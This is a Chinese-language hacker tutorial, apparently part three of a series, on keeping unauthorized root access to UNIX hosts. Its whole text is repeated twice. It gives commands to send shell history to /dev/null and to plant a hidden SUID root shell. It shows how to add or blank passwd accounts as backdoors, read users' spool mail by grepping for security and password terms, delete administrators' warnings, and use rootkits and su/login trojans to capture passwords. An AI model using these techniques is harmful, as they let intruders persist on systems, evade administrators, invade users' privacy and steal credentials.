从UNIX系统获取密码档(三)
一些诀窍
Root和Demon的工具包及特洛伊木马
--------------------------------------------------------------------------------
保持访问权限的方法有很多。虽然在你学习本文时,可能正将要失去在某些主机上
的访问权限,但我希望本文中的一些经验可以使你成为一名“坚固”的黑客。
一些诀窍
这里提供的一些“诀窍”可以帮助你保持在主机上的权限。一旦系统管理员发现了
你,他们会在一旁监视你和你在该系统上所做的每一件事,他们还会重新编译二进制文件
、更改每个用户的密码、拒绝来自你所在主机的访问、隐藏passwd和shadow档、检查有
SUID的文件,等等......
如果你发现自己已经暴露了,不要试图再次闯入该系统。我就曾经目睹了一些人因为
试图通过安装特洛伊木马、使用其他帐号或以前所设置的“后门”再次获取权限而被捕。
仔细想一下,他们在监视你......你在系统中的一举一动、精心设计的程序都会他们知道!
千万不要这样!请等待!当一个月后,他们会以为事情已经过去而放松警惕。这时,
你就可以利用他们遗漏的系统漏洞之一再次进入该系统,并尝试恢复你以前所做的工作。
OK。以下就是这些“诀窍”。
历史文件:
--------------
总是把你的.bash_history文件链接到/dev/null。否则,至少要编辑它。记住,.bash_history
会记录你在退出登录前所输入的命令。举个例子,如果你编辑它,它就会记录到你正在
编辑它。你或许可以在另外的shell中编辑它,但这似乎有点多余,只要把它输出到/dev/null
就行了。
1. 如果在用户目录下有.bash_history文件,删除它。
2. 在用户根目录下输入命令:ln -s /dev/null .bash_history
“藏身”目录:
-----------------
总是在系统找一个目录作为你的文件的“藏身之所”。这里提供几个大多数用户几乎
从来没有浏览过的目录。
在用户根目录中寻找.term,在该目录下只有一个termrc可执行文件。系统管理员及其同类
用户都已惯于看到这个隐藏目录,但几乎从未进入此目录。如果你们进入了这个目录,你想
他们对此目录下的termrc可执行文件有何感想呢?对了。没有。。。因为他们认为这个文件
正在它应该在的地方。
好了。让我们把termrc变大一点,并加上suid权限。。。你明白其中的意思吧???我
想你能猜得到。;-) 然后切换到/bin目录并输入:
cp bash(或sh等之类的shell) ~username/.term/termrc
chown root ~username/.term/termrc
chgrp root~username/.term/termrc
chmod s ~username/.term/termrc
现在,你有一个可以随时成为root用户的文件,而且不易被系统管理员发现。如果你希望
做得更好一点,可以修改文件日期,使其看起来是一个“旧”文件。
另外,还有一些是每个用户必有但却可能从未使用过的目录,如 .elm 、.term 、mail。你还
可以尝试建立“...”目录,由于它紧跟在两个特殊目录“.”和“..”之后,不易被察觉,因此
是简单可行的。当用ls -al察看时,显示如下内容:
1024 Jan 29 21:03 .
1024 Dec 28 00:12 ..
1024 Jan 29 21:03 ...
509 Mar 02 1996 .bash_history
22 Feb 20 1996 .forward
164 May 18 1996 .kermrc
34 Jun 06 1993 .less
114 Nov 23 1993 .lessrc
1024 May 18 1996 .term
1024 May 19 1996 public_html
看见它所处的位置了吗?
但如果使用 ls -l命令,只会显示如下内容:
1024 May 19 1996 public_html
记住,你也可以寻找一些具有很长名字的文件路径,而且一般没有人想进入它。
利用它来作为你的“藏身”目录,当然,你甚至可以在那里建立“..,”目录。;-)
制作新命令
--------------------
在你检查cron是否已经使用MD5加密后,你或许希望将所设计的程序复制到另一
个不同的文件以保存在系统中;以或者是覆盖一个你知道从未有人使用过的命令。
复制文件时应注意修改文件日期,不然迟早系统管理员都将修复系统,使你所设计的
程序都是白费心机。
更好的方法是为所要使用的shell取另外的新名字,并使它具有suid权限。
增加或修改登录密码
---------------------------------
另一个可行的“后门”是在passwd档中增加新用户,并尽量使它看起来象是原来
就有的。尽量不要使用这个新用户密码,不要用它登录,只是在你失去了原有权限时
才将它派上用场。
特点:这个用户不必是容易引起注意的root用户;你可以在任何需要的时候成为
root用户。以下是一个实例:
We want to make our account look like it belongs, so lets keep to thetop of
the file.
root:fVi3YqWnkd4rY:0:0:root:/root:/bin/bash
sysop:mZjb4XjnJT1Ys:582:200:System Operator:/home/sysop:/bin/bash
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/sbin:
adm:*:3:4:adm:/var/adm:
lp:*:4:7:lp:/var/spool/lpd:
sync:*:5:0:sync:/sbin:/bin/sync
shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown
halt:*:7:0:halt:/sbin:/sbin/halt
mail:*:8:12:mail:/var/spool/mail:
news:*:9:13:news:/usr/lib/news:
uucp:*:10:14:uucp:/var/spool/uucppublic:
operator:*:11:0:operator:/root:/bin/bash
games:*:12:100:games:/usr/games:
man:*:13:15:man:/usr/man:
postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash
nobody:*:65535:100:nobody:/dev/null:
ftp:*:404:1::/home/ftp:/bin/bash
以上这些已足够我们使用了,因此我只列出这些用户。
1. 查看用户operator、ftp和postmaster,所有这些帐号都可以执行shell,而且没有设
置密码。在你的shell中输入:
passwd postmaster
回车(entern)以设置其密码为空。这样,你就能在任何时候用这个帐号登录,
同时也不会引起引起系统管理员的怀疑。
2. 在passwd档中加入下面一行:
syst::13:12:system:/var/spool:/bin/bash
将该行放入文件内部(不会引起注意)。在密码部分::可以不进行设置,或者在
root shell中键入passwd syst以输入新密码。组和用户id可以随意设置。
3. 查看sync用户一行:
sync:*:5:0:sync:/sbin:/bin/sync
将其修改为:
sync:*:5:0:sync:/sbin:/bin/bash
然后运行
将密码设置为空(或其他)。在这个账号中gid=0。;-)
安装游戏
----------------
如果系统中装中游戏,你也可以安装一些可以利用的游戏,如doom、abuse。在附录
中有可以利用这些游戏取得root权限的程序。
保持监视
------------------
总是要知道系统中的管理员是谁。如何如何发现他们呢?可以查看passwd档中的
用户根目录、用户id、用户组或者阅读bash_history文件查看使用管理员命令的用户。
你还可以从这些历史文件中学到新的命令,不过,主要还是要知道谁在这个系统里。
一定要很熟悉你正在使用的系统;用su : 查找用户;浏览log文件以查看谁在使用管理
员命令。
对系统保持监视。当你在系统中时,要注意别人。查看管理员命令历史记录,看看
他们在使用什么命令:tty端口监听?过多的ps命令?在ps或w或who命令后跟着finger
命令说明他们正在监视系统中其他用户。监视系统管理员,并要留意他们对系统中用户
有多少了解。
阅读系统邮件
首先要记住:从不使用系统邮件程序。否则用户会知道你阅读了他们的邮件。我使用
了一些方法来阅读邮件。现在让我们来看一看:
1. cd /var/spool/mail
在此目录中保存着所有未阅读邮件和等待中的邮件。我们可以按照以下步骤阅读
邮件:
grep -i security * |more
grep -i hack * |more
grep -i intruder * |more
grep -i passwd * |more
grep -i password * |more
譬如你想查看pico用户名,可以键入ctrl w来进行搜索。如果你看见有其他系统
管理员有邮件告诉系统管理员你正在使用某用户名从他们的服务器上攻击该系统,
你当然可以删除它了。
有一个邮件阅读器,它允许你阅读邮件,但并不更新邮件标识(是否已读):
http://obsidian.cse.fau.edu/~fc
在那里有一个工具可以在不改变最后阅读日期的情况下显示/var/spool/mail中的邮件。
也就是说,他们(用户)根本不知道你已阅读过他们的邮件。
另外要记住,你可以在用户的目录下发现其他系统邮件。一定要检查/root目录。
检查/root/mail或username/mail或其它包含了以前邮件的目录。
祝你“狩猎”快乐。。。
--------------------------------------------------------------------------------
Root和Demon工具及特洛伊木马
Root工具是ps、login、netstat的c源程序,有时还有一些已经被“黑”过的程序以
供你使用。有了这些工具,就可以更换目标主机上的login文件,从而使你能够不用帐号
就可以在目标主机上登录。
你还可以修改ps,使你在系统管理员使用ps命令时不会暴露,还可以隐藏一些有
明显含义的可执行文件(如“sniff”开始的文件)在运行时的进程。
Demon工具提供了identd、login、demon、ping、su、telnet和socket的黑客程序。
特洛伊木马是那些可以让你在某些方面欺骗系统的程序。一个放在系统管理员目
录下的su木马程序,只要你改变了他的查找路径,su木马程序就能在真正的su程序前首
先运行。在向其提示输入错误密码,同时删除木马程序并保存其密码到/tmp目录下。
一个login木马程序可以将主机上所有的登录密码保存在一个文件中。我想你知道
其中的含义了吧。;-)
Demon和Linux root工具的源程序可在附录VI中找到。
Root和Demon的工具包及特洛伊木马
--------------------------------------------------------------------------------
保持访问权限的方法有很多。虽然在你学习本文时,可能正将要失去在某些主机上
的访问权限,但我希望本文中的一些经验可以使你成为一名“坚固”的黑客。
一些诀窍
这里提供的一些“诀窍”可以帮助你保持在主机上的权限。一旦系统管理员发现了
你,他们会在一旁监视你和你在该系统上所做的每一件事,他们还会重新编译二进制文件
、更改每个用户的密码、拒绝来自你所在主机的访问、隐藏passwd和shadow档、检查有
SUID的文件,等等......
如果你发现自己已经暴露了,不要试图再次闯入该系统。我就曾经目睹了一些人因为
试图通过安装特洛伊木马、使用其他帐号或以前所设置的“后门”再次获取权限而被捕。
仔细想一下,他们在监视你......你在系统中的一举一动、精心设计的程序都会他们知道!
千万不要这样!请等待!当一个月后,他们会以为事情已经过去而放松警惕。这时,
你就可以利用他们遗漏的系统漏洞之一再次进入该系统,并尝试恢复你以前所做的工作。
OK。以下就是这些“诀窍”。
历史文件:
--------------
总是把你的.bash_history文件链接到/dev/null。否则,至少要编辑它。记住,.bash_history
会记录你在退出登录前所输入的命令。举个例子,如果你编辑它,它就会记录到你正在
编辑它。你或许可以在另外的shell中编辑它,但这似乎有点多余,只要把它输出到/dev/null
就行了。
1. 如果在用户目录下有.bash_history文件,删除它。
2. 在用户根目录下输入命令:ln -s /dev/null .bash_history
“藏身”目录:
-----------------
总是在系统找一个目录作为你的文件的“藏身之所”。这里提供几个大多数用户几乎
从来没有浏览过的目录。
在用户根目录中寻找.term,在该目录下只有一个termrc可执行文件。系统管理员及其同类
用户都已惯于看到这个隐藏目录,但几乎从未进入此目录。如果你们进入了这个目录,你想
他们对此目录下的termrc可执行文件有何感想呢?对了。没有。。。因为他们认为这个文件
正在它应该在的地方。
好了。让我们把termrc变大一点,并加上suid权限。。。你明白其中的意思吧???我
想你能猜得到。;-) 然后切换到/bin目录并输入:
cp bash(或sh等之类的shell) ~username/.term/termrc
chown root ~username/.term/termrc
chgrp root~username/.term/termrc
chmod s ~username/.term/termrc
现在,你有一个可以随时成为root用户的文件,而且不易被系统管理员发现。如果你希望
做得更好一点,可以修改文件日期,使其看起来是一个“旧”文件。
另外,还有一些是每个用户必有但却可能从未使用过的目录,如 .elm 、.term 、mail。你还
可以尝试建立“...”目录,由于它紧跟在两个特殊目录“.”和“..”之后,不易被察觉,因此
是简单可行的。当用ls -al察看时,显示如下内容:
1024 Jan 29 21:03 .
1024 Dec 28 00:12 ..
1024 Jan 29 21:03 ...
509 Mar 02 1996 .bash_history
22 Feb 20 1996 .forward
164 May 18 1996 .kermrc
34 Jun 06 1993 .less
114 Nov 23 1993 .lessrc
1024 May 18 1996 .term
1024 May 19 1996 public_html
看见它所处的位置了吗?
但如果使用 ls -l命令,只会显示如下内容:
1024 May 19 1996 public_html
记住,你也可以寻找一些具有很长名字的文件路径,而且一般没有人想进入它。
利用它来作为你的“藏身”目录,当然,你甚至可以在那里建立“..,”目录。;-)
制作新命令
--------------------
在你检查cron是否已经使用MD5加密后,你或许希望将所设计的程序复制到另一
个不同的文件以保存在系统中;以或者是覆盖一个你知道从未有人使用过的命令。
复制文件时应注意修改文件日期,不然迟早系统管理员都将修复系统,使你所设计的
程序都是白费心机。
更好的方法是为所要使用的shell取另外的新名字,并使它具有suid权限。
增加或修改登录密码
---------------------------------
另一个可行的“后门”是在passwd档中增加新用户,并尽量使它看起来象是原来
就有的。尽量不要使用这个新用户密码,不要用它登录,只是在你失去了原有权限时
才将它派上用场。
特点:这个用户不必是容易引起注意的root用户;你可以在任何需要的时候成为
root用户。以下是一个实例:
We want to make our account look like it belongs, so lets keep to thetop of
the file.
root:fVi3YqWnkd4rY:0:0:root:/root:/bin/bash
sysop:mZjb4XjnJT1Ys:582:200:System Operator:/home/sysop:/bin/bash
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/sbin:
adm:*:3:4:adm:/var/adm:
lp:*:4:7:lp:/var/spool/lpd:
sync:*:5:0:sync:/sbin:/bin/sync
shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown
halt:*:7:0:halt:/sbin:/sbin/halt
mail:*:8:12:mail:/var/spool/mail:
news:*:9:13:news:/usr/lib/news:
uucp:*:10:14:uucp:/var/spool/uucppublic:
operator:*:11:0:operator:/root:/bin/bash
games:*:12:100:games:/usr/games:
man:*:13:15:man:/usr/man:
postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash
nobody:*:65535:100:nobody:/dev/null:
ftp:*:404:1::/home/ftp:/bin/bash
以上这些已足够我们使用了,因此我只列出这些用户。
1. 查看用户operator、ftp和postmaster,所有这些帐号都可以执行shell,而且没有设
置密码。在你的shell中输入:
passwd postmaster
回车(entern)以设置其密码为空。这样,你就能在任何时候用这个帐号登录,
同时也不会引起引起系统管理员的怀疑。
2. 在passwd档中加入下面一行:
syst::13:12:system:/var/spool:/bin/bash
将该行放入文件内部(不会引起注意)。在密码部分::可以不进行设置,或者在
root shell中键入passwd syst以输入新密码。组和用户id可以随意设置。
3. 查看sync用户一行:
sync:*:5:0:sync:/sbin:/bin/sync
将其修改为:
sync:*:5:0:sync:/sbin:/bin/bash
然后运行
将密码设置为空(或其他)。在这个账号中gid=0。;-)
安装游戏
----------------
如果系统中装中游戏,你也可以安装一些可以利用的游戏,如doom、abuse。在附录
中有可以利用这些游戏取得root权限的程序。
保持监视
------------------
总是要知道系统中的管理员是谁。如何如何发现他们呢?可以查看passwd档中的
用户根目录、用户id、用户组或者阅读bash_history文件查看使用管理员命令的用户。
你还可以从这些历史文件中学到新的命令,不过,主要还是要知道谁在这个系统里。
一定要很熟悉你正在使用的系统;用su : 查找用户;浏览log文件以查看谁在使用管理
员命令。
对系统保持监视。当你在系统中时,要注意别人。查看管理员命令历史记录,看看
他们在使用什么命令:tty端口监听?过多的ps命令?在ps或w或who命令后跟着finger
命令说明他们正在监视系统中其他用户。监视系统管理员,并要留意他们对系统中用户
有多少了解。
阅读系统邮件
首先要记住:从不使用系统邮件程序。否则用户会知道你阅读了他们的邮件。我使用
了一些方法来阅读邮件。现在让我们来看一看:
1. cd /var/spool/mail
在此目录中保存着所有未阅读邮件和等待中的邮件。我们可以按照以下步骤阅读
邮件:
grep -i security * |more
grep -i hack * |more
grep -i intruder * |more
grep -i passwd * |more
grep -i password * |more
譬如你想查看pico用户名,可以键入ctrl w来进行搜索。如果你看见有其他系统
管理员有邮件告诉系统管理员你正在使用某用户名从他们的服务器上攻击该系统,
你当然可以删除它了。
有一个邮件阅读器,它允许你阅读邮件,但并不更新邮件标识(是否已读):
http://obsidian.cse.fau.edu/~fc
在那里有一个工具可以在不改变最后阅读日期的情况下显示/var/spool/mail中的邮件。
也就是说,他们(用户)根本不知道你已阅读过他们的邮件。
另外要记住,你可以在用户的目录下发现其他系统邮件。一定要检查/root目录。
检查/root/mail或username/mail或其它包含了以前邮件的目录。
祝你“狩猎”快乐。。。
--------------------------------------------------------------------------------
Root和Demon工具及特洛伊木马
Root工具是ps、login、netstat的c源程序,有时还有一些已经被“黑”过的程序以
供你使用。有了这些工具,就可以更换目标主机上的login文件,从而使你能够不用帐号
就可以在目标主机上登录。
你还可以修改ps,使你在系统管理员使用ps命令时不会暴露,还可以隐藏一些有
明显含义的可执行文件(如“sniff”开始的文件)在运行时的进程。
Demon工具提供了identd、login、demon、ping、su、telnet和socket的黑客程序。
特洛伊木马是那些可以让你在某些方面欺骗系统的程序。一个放在系统管理员目
录下的su木马程序,只要你改变了他的查找路径,su木马程序就能在真正的su程序前首
先运行。在向其提示输入错误密码,同时删除木马程序并保存其密码到/tmp目录下。
一个login木马程序可以将主机上所有的登录密码保存在一个文件中。我想你知道
其中的含义了吧。;-)
Demon和Linux root工具的源程序可在附录VI中找到。